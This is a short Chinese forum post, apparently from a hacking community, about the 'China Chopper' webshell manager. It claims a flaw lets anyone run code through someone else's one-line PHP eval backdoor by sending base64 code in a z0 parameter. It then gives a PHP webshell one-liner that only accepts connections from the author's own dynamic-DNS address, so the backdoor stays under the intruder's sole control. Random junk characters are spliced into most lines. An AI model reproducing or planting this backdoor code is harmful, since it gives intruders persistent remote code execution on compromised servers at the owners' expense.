今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞3 R, W2 P) ?$ f5 I0 }' x
$ j; z' @9 V) u7 ^4 Q就算你设置了密码,使用了eval($_REQUEST['moyo']);! \. G6 k' R! Y1 |" p2 W( Z
: S- C+ _; h, ?' E但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
/ t7 H1 t' p3 U: v3 \" W, b# d
! w& G4 b3 p" _1 x% \7 H; H$ M6 i- T, _因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));" V- C- \- `: A$ ?4 N3 b: Q
/ m7 J! T" @4 W5 }
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
; h) I5 |- K; a8 {. w; }2 q2 N# h% u/ @7 k
不知道是设计缺陷还是故意留的后门/ ^: n, V. t. \
/ w# x* m# R! b+ \/ X
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
: C! ~+ Q5 e: R9 B8 i( ?+ Z$ n. @) d) H- ~5 _
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
3 X; w- z4 G( r* \3 g4 H4 a! h. V/ I9 H
然后一句话后门这样写
$ T' s6 ~4 x% z+ b \. O2 k+ V3 D5 [' l% t& Y/ V7 [2 G! U; Y
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>7 C6 x8 G4 f% R7 U+ m
这样就可以让一句话后门只允许自己的电脑连接了
. o- v& y6 W! v+ b8 u& h" W) _' B" m0 ^0 c
|